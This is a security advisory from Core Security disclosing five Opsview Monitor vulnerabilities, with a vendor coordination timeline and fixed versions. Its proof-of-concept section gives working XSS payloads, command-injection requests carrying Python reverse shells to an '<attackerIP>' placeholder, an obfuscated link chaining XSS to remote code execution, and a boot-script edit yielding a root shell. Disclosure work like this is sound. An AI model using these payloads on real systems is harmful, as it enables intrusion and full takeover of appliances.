Opsview Monitor Multiple Vulnerabilities
1. Advisory Information
Title: Opsview Monitor Multiple Vulnerabilities
Advisory ID: CORE-2018-0008
Advisory URL: https://www.coresecurity.com/core-labs/advisories/opsview-monitor-multiple-vulnerabilities
Date published: 2018-09-04
Date of last update: 2018-09-04
Vendors contacted: Opsview
Release mode: Coordinated release
2. Vulnerability Information
Class: Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Special Elements used in an OS Command [CWE-78], Improper Neutralization of Special Elements used in an OS Command [CWE-78], Execution with Unnecessary Privileges [CWE-250]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-16148, CVE-2018-16147, CVE-2018-16146, CVE-2018-16144, CVE-2018-16145
3. Vulnerability Description
Opsview's website states that:
Opsview [1] builds monitoring software that helps DevOps understand how the performance of their hybrid IT infrastructure & apps impacts business service delivery. Opsview Monitor supports +3500 Nagios plugins and service checks making it easy to monitor everything from Docker and VMware to Amazon Web Services, Hyper-V and more.
Multiple vulnerabilities were found in the Opsview Monitor, which would allow an attacker with access to the management console to execute commands on the operating system.
4. Vulnerable Packages
- Opsview Monitor 5.4
- Opsview Monitor 5.3
- Opsview Monitor 5.2
Other products and versions might be affected, but they were not tested.
5. Vendor Information, Solutions and Workarounds
Opsview released the following versions of its product that fix the reported issues.
- Opsview Monitor 6.0
- Opsview Monitor 5.4.2
- Opsview Monitor 5.3.1
In addition, Opsview published the following release notes:
- https://knowledge.opsview.com/v5.4/docs/whats-new
- https://knowledge.opsview.com/v5.3/docs/whats-new
6. Credits
These vulnerabilities were discovered and researched by Fernando Díaz and Fernando Catoira from Core Security Consulting Services. The publication of this advisory was coordinated by Leandro Cuozzo from Core Advisories Team.
7. Technical Description / Proof of Concept Code
Opsview Monitor is a virtual appliance designed to be deployed inside the organization's network infrastructure. It comes bundled with a Web Management Console to monitor and manage hosts and their services. Multiple vulnerabilities were found in the context of this appliance, which could allow a remote attacker to compromise the system. Vulnerabilities described in 7.1 and 7.2 could be abused to execute malicious JavaScript code in the context of a legitimate user. In addition, issues presented in 7.3 and 7.4 could allow an attacker to obtain command execution on the system as the nagios user. Finally, the issue found in one of the scripts run during the boot process presented in 7.5 would allow attackers to elevate their privileges from nagios user to root after a system restart, hence obtaining full control of the appliance.
7.1. Reflected Cross-Site Scripting in Diagnostics
[CVE-2018-16148] The 'diagnosticsb2ksy' parameter of the '/rest' endpoint is vulnerable to Cross-Site Scripting.
The following proof of concept demonstrates the vulnerability:
GET /rest/diagnosticsb2ksy%253cscript%253ealert(1)%253c%252fscript%253ev7uol%3ffilename=1%26download=1 HTTP/1.1 Host: <serverIP> User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: opsview_web_session=46f985298c7bba5291a18c3a749362a08eaa9401; auth_tkt=ODFlYjc4YjVlN2M5ZmQ2MDUyNzhlMTEyZTM1ZjRmODM1YWI5ODUzMGFkbWluIU9QU1ZJRVdfQURNSU4sQUNUSU9OQUxMLEFETUlOQUNDRVNTLEJTTSxDT05GSUdVUkVCU00sQ09ORklHVVJFQlNNQ09NUE9ORU5ULENPTkZJR1VSRUNPTlRBQ1RTLENPTkZJR1VSRUhPU1RHUk9VUFMsQ09ORklHVVJFSE9TVFMsQ09ORklHVVJFS0VZV09SRFMsQ09ORklHVVJFTkVURkxPVyxDT05GSUdVUkVQUk9GSUxFUyxDT05GSUdVUkVST0xFUyxDT05GSUdVUkVTQVZFLENPTkZJR1VSRVZJRVcsREFTSEJPQVJELERBU0hCT0FSREVESVQsREFTSEJPQVJEU0hBUkUsRE9XTlRJTUVTT01FLE5BVk9QVElPTlMsTkVUQVVESVRWSUVXLE5FVEZMT1csTk9USUZZU09NRSxQQVNTV09SRFNBVkUsUkVMT0FEQUNDRVNTLFJFUE9SVEFETUlOLFJFUE9SVFVTRVIsUlJER1JBUEhTLFRFU1RBTEwsVEVTVENIQU5HRSxWSUVXQUxMLFZJRVdQT1JUQUNDRVNTIQ%3D%3D DNT: 1 Connection: close Upgrade-Insecure-Requests: 1
7.2. Persistent Cross-Site Scripting in Settings endpoint
[CVE-2018-16147] The 'data' parameter of the '/settings/api/router' endpoint is vulnerable to Cross-Site Scripting.
The following proof of concept demonstrates the vulnerability:
POST /settings/api/router?_dc=1521575692128 HTTP/1.1 Host: <serverIP> User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://<serverIP>/settings/ x-opsview-username: rifle x-opsview-token: 053f415648640ea5a9d0c6e3e7f5603cf7b08503 Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 506 Cookie: opsview_web_session=3b8059865b28b96a5cd27a6d4fb4193bed9aa256; auth_tkt=ZTFiMzFlODc1ZDUzYzk3MzEwMGM2MjhiZTgxMzRhMDQ1YWIxNWNlOXBlbnRlc3QhREFTSEJPQVJELERBU0hCT0FSREVESVQsREFTSEJPQVJEU0hBUkUsTkFWT1BUSU9OUyxOT1RJRllTT01FLFBBU1NXT1JEU0FWRSxSUkRHUkFQSFMsVklFV0FMTCE%3D Connection: close [{"action":"SettingsServer","method":"setObjecttypeState","data":["</script><script>alert(4)</script>","{\"storeState\":{\"sorters\":[{\"root\":\"data\",\"property\":\"name\",\"direction\":\"ASC\"}],\"filters\":[],\"pageSize\":50,\"page\":1}}"],"type":"rpc","tid":2},{"action":"SettingsServer","method":"setObjecttypeState","data":["profile","{\"storeState\":{\"sorters\":[{\"root\":\"data\",\"property\":\"name\",\"direction\":\"ASC\"}],\"filters\":[],\"pageSize\":50,\"page\":1}}"],"type":"rpc","tid":3}]
The input will be stored without any sanitization and rendered every time the /settings section is visited by the user. It's important to point that this XSS is self stored and it's executed only in the context of the victim's session. However, this vulnerability can be exploited by an attacker to gain persistency and execute the malicious code each time the victim accesses to the settings section. Excerpt of the source code showing the injected script tag:
[{"property":"name","root":"data","direction":"ASC"}]}},"contact":{"storeState":{"pageSize":50,"filters":[],"page":1,"sorters":[{"direction":"ASC","property":"name","root":"data"}]}},"</script><script>alert(4)</script>":{"storeState":{"sorters":[{"root":"data","property":"name","direction":"ASC"}],"pageSize":50,"filters":[],"page":1}},"hostcheckcommand":{"storeState":{"pageSize":50,"filters":[],"page":1,"sorters":[{"direction":"ASC","property":"priority","root":"data"}]}},"netflow_collector":{"storeState":{"sorters":[{"direction":"ASC","root":"data","property":"name"}],"page":1,"filters":[],"pageSize":50}},"<script>alert(4)</script>":{"storeState":{"sorters":[{"direction":"ASC","root":"data","property":"name"}],"
7.3. Notification abuse leading to remote command execution
[CVE-2018-16146] Opsview Web Management console provides a functionality accessible by an authenticated administrator to test notifications that are triggered under certain configurable events. The 'value' parameter is not properly sanitized, leading to an arbitrary command injection executed on the system with nagios' user privileges.
The following proof of concept executes a reverse shell:
POST /rest/config/notificationmethod/testnotification?_dc=1520444703477 HTTP/1.1 Host: <serverIP> User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://<serverIP>/settings/ x-opsview-username: admin x-opsview-token: 7ac1116c336cc648cda6caa707a17d7aa6114074 Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 376 Cookie: redirect=1; testing=1; sid=9bfa04afc5ccc966c623078bab8834e0; opsview_web_session=5071271ffb62fffffcb589c9ae9ab9c23d780b13; auth_tkt=MDA1M2JmODhmYTlmNWM1NDEyNzM3ZWRiYWJiMTBmZTA1YWEwMWY0M2FkbWluIU9QU1ZJRVdfQURNSU4sQUNUSU9OQUxMLEFETUlOQUNDRVNTLEJTTSxDT05GSUdVUkVCU00sQ09ORklHVVJFQlNNQ09NUE9ORU5ULENPTkZJR1VSRUNPTlRBQ1RTLENPTkZJR1VSRUhPU1RHUk9VUFMsQ09ORklHVVJFSE9TVFMsQ09ORklHVVJFS0VZV09SRFMsQ09ORklHVVJFTkVURkxPVyxDT05GSUdVUkVQUk9GSUxFUyxDT05GSUdVUkVST0xFUyxDT05GSUdVUkVTQVZFLENPTkZJR1VSRVZJRVcsREFTSEJPQVJELERBU0hCT0FSREVESVQsREFTSEJPQVJEU0hBUkUsRE9XTlRJTUVTT01FLE5BVk9QVElPTlMsTkVUQVVESVRWSUVXLE5FVEZMT1csTk9USUZZU09NRSxQQVNTV09SRFNBVkUsUkVMT0FEQUNDRVNTLFJFUE9SVEFETUlOLFJFUE9SVFVTRVIsUlJER1JBUEhTLFRFU1RBTEwsVEVTVENIQU5HRSxWSUVXQUxMLFZJRVdQT1JUQUNDRVNTIQ%3D%3D Connection: close {"message":"Test Message","command":"submit_xmpp_script","variables":[],"test_variables":[{"name":"PAGER","value":"123123123 || python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<attackerIP>\",16000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"}],"id":"20"}
nc -lvp 16000 Listening on [0.0.0.0] (family 0, port 16000) Connection from [<serverIP>] port 16000 [tcp/*] accepted (family 2, sport 43016) $ id uid=998(nagios) gid=997(nagios) groups=997(nagios),998(nagcmd),999(opsview)
Additionally, it is possible to combine this issue with a redirection functionality within the management console and the vulnerability described in 7.1 (Reflected Cross-Site Scripting), to build a specially crafted link that could be sent to an administrator to trigger a reverse shell.
In order to perform the attack, consider the following:
- API's sensitive actions require a 'restToken' to be processed. This token could be obtained by a Cross-Site Scripting attack from a specific endpoint (/settings).
- Abuse the login page redirection functionality to force the user to access the Cross-Site Scripting vulnerable URL described in 7.1 (you may also abuse the Cross-Site scripting vulnerability reported in https://www.cvedetails.com/cve/CVE-2016-2511/ given it is still present). If the user is already authenticated he will be automatically redirected. Otherwise, the login page will appear and the redirection will take place after a successful login.
The following proof of concept presents a crafted link that could trigger a reverse shell if accessed by an administrator:
https://<serverIP>/login?back=%2Frest%2Fdiagnosticsb2ksy%253cscript%253eeval(atob(%27dmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpO3hoci5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpIHtpZiAoeGhyLnJlYWR5U3RhdGUgPT0gWE1MSHR0cFJlcXVlc3QuRE9ORSl7cmVnZXhwID0gLyg%2FOnJlc3RUb2tlbiI6IikoLio%2FKSg%2FOiIpLzt0b2tlbiA9IHJlZ2V4cC5leGVjKHhoci5yZXNwb25zZVRleHQpWzFdO3JlZ2V4cCA9IC8oPzp1c2VyTmFtZSI6IikoLio%2FKSg%2FOiIpLzt1c2VybmFtZSA9IHJlZ2V4cC5leGVjKHhoci5yZXNwb25zZVRleHQpWzFdO3ZhciB4aHIyID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7eGhyMi5vcGVuKCdQT1NUJywgJy9yZXN0L2NvbmZpZy9ub3RpZmljYXRpb25tZXRob2QvdGVzdG5vdGlmaWNhdGlvbi8nLCB0cnVlKTt4aHIyLnNldFJlcXVlc3RIZWFkZXIoIngtb3Bzdmlldy11c2VybmFtZSIsIHVzZXJuYW1lKTtjb25zb2xlLmxvZyh1c2VybmFtZSk7Y29uc29sZS5sb2codG9rZW4pO3hocjIuc2V0UmVxdWVzdEhlYWRlcigieC1vcHN2aWV3LXRva2VuIiwgdG9rZW4pO3hocjIuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKTtib2R5ID0geyJtZXNzYWdlIjoiVGVzdCBNZXNzYWdlIiwiY29tbWFuZCI6InN1Ym1pdF94bXBwX3NjcmlwdCIsInZhcmlhYmxlcyI6W10sInRlc3RfdmFyaWFibGVzIjpbeyJuYW1lIjoiUEFHRVIiLCJ2YWx1ZSI6IjEyMzEyMzEyMyB8fCBweXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcztzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKFwiPGF0dGFja2VySVA%2BXCIsMTYwMDApKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFtcIi9iaW4vc2hcIixcIi1pXCJdKTsnIn1dLCJpZCI6IjEifTt4aHIyLnNlbmQoSlNPTi5zdHJpbmdpZnkoYm9keSkpO2FsZXJ0KHRva2VuKTthbGVydCh1c2VybmFtZSk7fX07eGhyLm9wZW4oJ1BPU1QnLCAnL3NldHRpbmdzLycsIHRydWUpO3hoci5zZW5kKG51bGwpOw%3D%3D%27))%253c%25252fscript%253ev7uol%3ffilename=1%26download=1
Once clicked, the authenticated administrator will be redirected to the vulnerable section where his browser will perform a request to the '/settings' endpoint in order to obtain a valid 'restToken'. Finally, using that token, the API request to 'rest/config/notificationmethod/testnotification' will be exploited thus resulting in a reverse shell.
7.4. Rancid test connection functionality abuse leading to command execution
[CVE-2018-16144] NetAudit is a section within Network Analyzer that allows the user to automate the backing up of network devices' configuration files to a centralized location. The test connection functionality is vulnerable to command injection due to an improper sanitization of the 'rancid_password' parameter.
The following proof of concept executes a reverse shell:
POST /rest/config/host/test_rancid_connection?_dc=1521569909290 HTTP/1.1 Host: <serverIP> User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://<serverIP>/settings/ x-opsview-username: admin x-opsview-token: b3d716e0157fd6337e6978220188051d8c578850 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 434 Cookie: opsview_web_session=8f48a60452543863c3ee3662202a0d0ef568e86f; auth_tkt=ZTJlMWFlODQ4ZTVhYmJiN2I3YTQzNWYxNzkzYjAxYWU1YWIxNGI1NWFkbWluIU9QU1ZJRVdfQURNSU4sQUNUSU9OQUxMLEFETUlOQUNDRVNTLEJTTSxDT05GSUdVUkVCU00sQ09ORklHVVJFQlNNQ09NUE9ORU5ULENPTkZJR1VSRUNPTlRBQ1RTLENPTkZJR1VSRUhPU1RHUk9VUFMsQ09ORklHVVJFSE9TVFMsQ09ORklHVVJFS0VZV09SRFMsQ09ORklHVVJFTkVURkxPVyxDT05GSUdVUkVQUk9GSUxFUyxDT05GSUdVUkVST0xFUyxDT05GSUdVUkVTQVZFLENPTkZJR1VSRVZJRVcsREFTSEJPQVJELERBU0hCT0FSREVESVQsREFTSEJPQVJEU0hBUkUsRE9XTlRJTUVTT01FLE5BVk9QVElPTlMsTkVUQVVESVRWSUVXLE5FVEZMT1csTk9USUZZU09NRSxQQVNTV09SRFNBVkUsUkVMT0FEQUNDRVNTLFJFUE9SVEFETUlOLFJFUE9SVFVTRVIsUlJER1JBUEhTLFRFU1RBTEwsVEVTVENIQU5HRSxWSUVXQUxMLFZJRVdQT1JUQUNDRVNTIQ%3D%3D Connection: close ip=<attackerIP>++++++&rancid_vendor=1&rancid_username=234234+add+password+xxxxx&rancid_connection_type=telnet&rancid_autoenable=1&rancid_password=2342342342+%3b+sleep%2011%3b%20`python+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("<attackerIP>",16000))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call(["/bin/sh","-i"])%3b'`&host_id=2
nc -lvp 16000 Listening on [0.0.0.0] (family 0, port 16000) Connection from [<serverIP>] port 16000 [tcp/*] accepted (family 2, sport 43016) $ id uid=998(nagios) gid=997(nagios) groups=997(nagios),998(nagcmd),999(opsview) $ uname -a Linux image-builder-299 4.4.0-1010-aws #10-Ubuntu SMP Tue Jan 9 23:01:34 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
7.5. Script modification could allow local privilege escalation
[CVE-2018-16145] Most of the services in Opsview Monitor run with nagios privileges and the scripts that run at boot time, impersonate nagios user during its execution. However, the '/etc/init.d/opsview-reporting-module' script invokes the '/opt/opsview/jasper/bin/db_jasper' script before dropping root privileges.
The following excerpt shows the vulnerable code:
/etc/init.d/opsview-reporting-module: /opt/opsview/jasper/bin/db_jasper db_exists 2> /dev/null if [ $? != 0 ]; then echo "Attempted to start jasperserver but MySQL credentials are wrong." exit 0 fi DAEMON=/opt/opsview/jasper/bin/rc.jasperserver test -x $DAEMON || exit 0 # Switch to opsview user if run as root id | grep "uid=0(" >/dev/null if [ $? = 0 ] ; then su - opsview -c "$DAEMON $@" else exec $DAEMON $@ fi
The file '/opt/opsview/jasper/bin/db_jasper', which is invoked by the vulnerable script, can be edited by the nagios user which belongs to the 'opsview' group.
ls -ltr /opt/opsview/jasper/bin/db_jasper -rwxrwxr-x 1 opsview opsview 2531 Feb 6 2017 /opt/opsview/jasper/bin/db_jasper nagios @image-builder-299:/home/admin$ id uid=998(nagios) gid=997(nagios) groups=997(nagios),998(nagcmd),999(opsview)
Since 'db_jasper' receives 'db_exists' as an argument, which is later used in a case statement, an attacker could edit that specific part of the script in order to execute arbitrary code once the appliance is rebooted.
The following excerpt shows the attacker's bash script which, after execution, will trigger a reverse shell with root privileges:
while [ "x$1" != "x" ] ; do case "$1" in db_export) db_export ;; db_export_test) db_export_test ;; db_export_initial) TEST=1 db_backup ;; db_import) db_import ;; db_install) db_install ;; db_backup) db_backup ;; db_restore) db_restore ;; db_exists) python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attackerIP>",16000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' & db_exists exit $? ;; db_upgrade) db_upgrade exit $? ;; *) die "Usage: $0 {db_export|db_import|db_install|db_backup|db_restore}" ;; esac shift done
$nc -lvp 16000 Listening on [0.0.0.0] (family 0, port 16000) Connection from [<serverIP>] port 16000 [tcp/*] accepted (family 2, sport 45566) # id uid=0(root) gid=0(root) groups=0(root)
8. Report Timeline
- 2018-05-03: Core Security sent an initial notification to Opsview, asking for GPG keys in order to send draft advisory.
- 2018-05-04: Opsview replied attaching its GPG keys.
- 2018-05-04: Core Security sent the encrypted draft advisory.
- 2018-05-04: Opsview confirmed the reception of the advisory and informed an initial response would be ready by May 11th.
- 2018-05-11: Opsview replied saying they were able to reproduce all of the reported vulnerabilities and confirmed that they were present in all supported versions of Opsview Monitor (5.4, 5.3 and 5.2). In addition, Opsview informed that were planning to release a fix for these versions by the end of July.
- 2018-05-11: Core Security thanked the confirmation.
- 2018-06-25: Opsview informed that they were planning to release a major update for the product (6.0) at the end of July. This update will address all reported vulnerabilities. Also, they informed that the previous versions of the product would be fixed by the end of August.
- 2018-06-27: Core Security thanked the status update and asked for a tentative public disclosure date.
- 2018-07-16: Core Security requested a status update.
- 2018-07-18: Opsview proposed to set a tentative publication date by the end of August when they release the fixes for its earlier versions.
- 2018-07-18: Core Security agreed with the Opsview's proposal.
- 2018-07-23: Opsview notified Core Security that the Opsview Monitor 6.0 release will be available on July 25th. In addition, they informed that they didn't have the exact release date for the updates to previous versions of the product.
- 2018-08-06: Core Security requested a status update for the remaining fixes.
- 2018-08-13: Opsview replied saying that they were targeting the week of August 24th for release the fixes of their earlier product versions and they would confirm the exact date at the end of the next week.
- 2018-08-13: Core Security thanked the reply.
- 2018-08-24: Opsview informed Core Security that the remaining fixed versions will be available on August 29th.
- 2018-08-24: Core Security thanked the update and proposed September 4th as the coordinated release date.
- 2018-08-28: Opsview agreed on the proposed release date.
- 2018-09-04: Advisory CORE-2018-0008 published.
9. References
[1] https://www.opsview.com/solutions
10. About CoreLabs
CoreLabs, the research center of Core Security, A Fortra Company is charged with researching and understanding security trends as well as anticipating the future requirements of information security technologies. CoreLabs studies cybersecurity trends, focusing on problem formalization, identification of vulnerabilities, novel solutions, and prototypes for new technologies. The team is comprised of seasoned researchers who regularly discover and discloses vulnerabilities, informing product owners in order to ensure a fix can be released efficiently, and that customers are informed as soon as possible. CoreLabs regularly publishes security advisories, technical papers, project information, and shared software tools for public use at https://www.coresecurity.com/core-labs.
11. About Core Security, A Fortra Company
Core Security, a Fortra Company, provides organizations with critical, actionable insight about who, how, and what is vulnerable in their IT environment. With our layered security approach and robust threat-aware, identity & access, network security, and vulnerability management solutions, security teams can efficiently manage security risks across the enterprise. Learn more at www.coresecurity.com.
Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or [email protected].
12. Disclaimer
The contents of this advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/